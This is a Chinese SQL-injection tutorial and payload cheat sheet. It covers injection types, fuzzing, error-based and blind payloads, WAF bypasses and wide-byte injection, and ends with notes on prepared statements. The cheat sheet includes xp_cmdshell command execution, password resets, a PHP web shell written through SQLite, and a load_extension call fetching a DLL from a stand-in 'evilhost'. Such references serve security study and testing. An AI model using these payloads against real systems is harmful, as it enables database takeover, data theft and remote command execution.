4.1. SQL注入
内容索引:
- 4.1. SQL注入
- 4.1.1. 注入分类
- 4.1.1.1. 按技巧分类
- 4.1.1.2. 按获取数据的方式分类
- 4.1.2. 注入检测
- 4.1.2.1. 常见的注入点
- 4.1.2.2. Fuzz注入点
- 4.1.2.3. 测试用常量
- 4.1.2.4. 测试列数
- 4.1.2.5. 报错注入
- 4.1.2.6. 堆叠注入
- 4.1.2.7. 注释符
- 4.1.2.8. 判断过滤规则
- 4.1.2.9. 获取信息
- 4.1.2.10. 测试权限
- 4.1.3. 权限提升
- 4.1.3.1. UDF提权
- 4.1.4. 数据库检测
- 4.1.4.1. MySQL
- 4.1.4.2. Oracle
- 4.1.4.3. SQLServer
- 4.1.4.4. PostgreSQL
- 4.1.5. 绕过技巧
- 4.1.6. SQL注入小技巧
- 4.1.6.1. 宽字节注入
- 4.1.7. CheatSheet
- 4.1.7.1. SQL Server Payload
- 4.1.7.2. MySQL Payload
- 4.1.7.3. PostgresSQL Payload
- 4.1.7.4. Oracle Payload
- 4.1.7.5. SQLite3 Payload
- 4.1.8. 预编译
- 4.1.8.1. 简介
- 4.1.8.2. 模拟预编译
- 4.1.8.3. 绕过
- 4.1.8.3. 绕过
- 4.1.8.3.1. 预编译使用错误
- 4.1.8.3.2. 部分参数不可预编译
- 4.1.8.3.3. 预编译实现错误
- 4.1.9. 参考文章
4.1.1. 注入分类
SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
4.1.1.1. 按技巧分类
4.1.1.1. 按技巧分类
根据使用的技巧,SQL注入类型可分为
-
盲注
- 布尔盲注:只能从应用返回中推断语句执行后的布尔值
- 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
-
报错注入:应用会显示全部或者部分的报错信息
-
堆叠注入:有的应用可以加入 ; 后一次执行多条语句
-
其他
4.1.1.2. 按获取数据的方式分类
另外也可以根据获取数据的方式分为3类
-
inband
- 利用Web应用来直接获取数据
- 如报错注入
- 都是通过站点的响应或者错误反馈来提取数据
-
inference
- 通过Web的一些反映来推断数据
- 如布尔盲注和堆叠注入
- 也就是我们通俗的盲注,
- 通过web应用的其他改变来推断数据
-
out of band(OOB)
- 通过其他传输方式来获得数据,比如DNS解析协议和电子邮件
4.1.2. 注入检测
4.1.2.1. 常见的注入点
- GET/POST/PUT/DELETe参数
- X-Forwarded-For
- 文件名
4.1.2.2. Fuzz注入点
' / "
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+ - ^ * % /
<< >> || | & &&
~
!
@
- 反引号执行
4.1.2.3. 测试用常量
@@version
@@servername
@@language
@@spid
4.1.2.4. 测试列数
例如 http://www.foo.com/index.asp?id=12+union+select+null,null--
,不断增加 null
至不返回
4.1.2.5. 报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
4.1.2.6. 堆叠注入
;select 1
4.1.2.7. 注释符
#
--+
4.1.2.8. 判断过滤规则
- 是否有trunc
- 是否过滤某个字符
- 是否过滤关键字
- slash和编码
4.1.2.9. 获取信息
-
判断数据库类型
and exists (select * from msysobjects ) > 0 access数据库
and exists (select * from sysobjects ) > 0 SQLServer数据库
-
判断数据库表
and exsits (select * from admin)
-
版本、主机名、用户名、库名
-
表和字段
-
确定字段数
Order By
Select Into
-
表名、列名
-
4.1.2.10. 测试权限
-
文件操作
- 读敏感文件
- 写shell
-
带外通道
- 网络请求
4.1.3. 权限提升
4.1.3.1. UDF提权
UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。
4.1.4. 数据库检测
4.1.4.1. MySQL
-
sleep
sleep(1)
-
benchmark
BENCHMARK(5000000, MD5('test'))
-
字符串连接
SELECT 'a' 'b'
SELECT CONCAt('some','string')
-
version
SELECT @@version
SELECT version()
-
识别用函数
connection_id()
last_insert_id()
row_count()
4.1.4.2. Oracle
-
字符串连接
'a'||'oracle' --
SELECT CONCAt('some','string')
-
version
SELECT banner FROM v$version
SELECt banner FROM v$version WHERe rownum=1
4.1.4.3. SQLServer
-
WAITFOR
WAITFOR DELAY '00:00:10';
-
SERVERNAME
SELECt @@SERVERNAME
-
version
SELECT @@version
-
字符串连接
SELECT 'some'+'string'
-
常量
@@pack_received
@@rowcount
4.1.4.4. PostgreSQL
- sleep
pg_sleep(1)
4.1.5. 绕过技巧
-
编码绕过
- 大小写
- url编码
- html编码
- 十六进制编码
- unicode编码
-
注释
// -- -- + -- - # ;%00
- 内联注释用的更多,它有一个特性
/!**/
只有MySQL能识别 - e.g.
index.php?id=-1 1,2,3
-
只过滤了一次时
union
=>ununionion
-
相同功能替换
-
函数替换
substring
/mid
/sub
ascii / hex
/bin
benchmark
/sleep
-
变量替换
user()
/@@user
-
符号和关键字
and
/&
or
/|
-
-
HTTP参数
-
HTTP参数污染
id=1&id=2&id=3
根据容器不同会有不同的结果
-
HTTP分割注入
-
-
缓冲区溢出
- 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
-
二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过
4.1.6. SQL注入小技巧
4.1.6.1. 宽字节注入
一般程序员用gbk编码做开发的时候,会用set names 'gbk'
来设定,这句话等同于
set
character_set_connection = ‘gbk’,
character_set_result = ‘gbk’,
character_set_client = ‘gbk’;
漏洞发生的原因是执行了set character_set_client = 'gbk';
之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk'
的话real_escape是不知道设置的数据的编码的,就会加 %5c
。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。
解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk')
,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用pdo。
还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。
4.1.7. CheatSheet
4.1.7.1. SQL Server Payload
-
Version
SELECT @@version
-
Comment
SELECT 1 -- comment
SELECT 1
-
Space
0x01 - 0x20
-
Current User
SELECT user_name()
SELECT system_user
SELECT user
SELECT loginame FROM master..sysprocesses WHERe spid = @@SPID
-
List User
SELECt name FROM master..syslogins
-
Current Database
SELECt DB_NAME()
-
List Database
SELECT name FROM master..sysdatabases
-
Command
EXEC xp_cmdshell 'net user'
-
Ascii
SELECt char(0x41)
SELECT ascii('A')
SELECT char(65)+char(66) => return AB
-
Delay
WAITFOR DELAY '0:0:3' pause for 3 seconds
-
Change Password
ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
-
Trick
id=1 union:select password from:user
4.1.7.2. MySQL Payload
-
Version
SELECt @@version
-
Comment
SELECT 1 -- comment
SELECT 1 # comment
SELECT 1
-
Space
0x9 0xa-0xd 0x20 0xa0
-
Current User
SELECT user()
SELECT system_user()
-
List User
SELECT user FROM mysql.user
-
Current Database
SELECt database()
-
List Database
SELECT schema_name FROM information_schema.schemata
-
List Tables
SELECt table_schema,table_name FROM information_schema.tables WHERe table_schema != 'mysql' AND table_schema != 'information_schema'
-
List Columns
SELECt table_schema, table_name, column_name FROM information_schema.columns WHERe table_schema != 'mysql' AND table_schema != 'information_schema'
-
If
SELECt if(1=1,'foo','bar');
return ‘foo’
-
Ascii
SELECT char(0x41)
SELECT ascii('A')
SELECT 0x414243 => return ABC
-
Delay
- ` sleep(1)
SELECT BENCHMARK(1000000,MD5('A'))
-
Read File
- `select @@datadir
select load_file('databasename/tablename.MYD')
-
Blind
ascii(substring(str,pos,length)) & 32 = 1
-
Error Based
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
-
Write File
union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'
- dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏
-
Change Password
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORd('newpassword') WHERe user='root';FLUSH PRIVILEGES;"
4.1.7.3. PostgresSQL Payload
-
Version
SELECT version()
-
Comment
SELECT 1 -- comment
SELECT 1
-
Current User
SELECT user
SELECT current_user
SELECT session_user
SELECT getpgusername()
-
List User
SELECT usename FROM pg_user
-
Current Database
SELECt current_database()
-
List Database
SELECT datname FROM pg_database
-
Ascii
SELECt char(0x41)
SELECT ascii('A')
-
Delay
pg_sleep(1)
4.1.7.4. Oracle Payload
-
dump
SELECT * FROM ALL_TABLES
-
Comment
--
-
Space
0x00 0x09 0xa-0xd 0x20
4.1.7.5. SQLite3 Payload
-
Comment
--
-
Version
select sqlite_version();
Command Execution
ATTACH DATABASE ‘/var/www/lol.php’ AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES (’<?system($_GET['cmd']); ?>’);–
Load_extension
UNIOn SELECT 1,load_extension('\\evilhost\evil.dll','E');--
4.1.8. 预编译
4.1.8.1. 简介
SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。
4.1.8.2. 模拟预编译
为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。
4.1.8.3. 绕过
4.1.8.3. 绕过
4.1.8.3.1. 预编译使用错误
预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
4.1.8.3.2. 部分参数不可预编译
在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。
4.1.8.3.3. 预编译实现错误
部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。
4.1.9. 参考文章
NoSQL注入的分析和缓解
NoSQL注入
SQL注入ByPass的一些小技巧
sqlmap time based inject 分析
SQLInjectionWiki
Waf Bypass之道
MySQL Bypass Wiki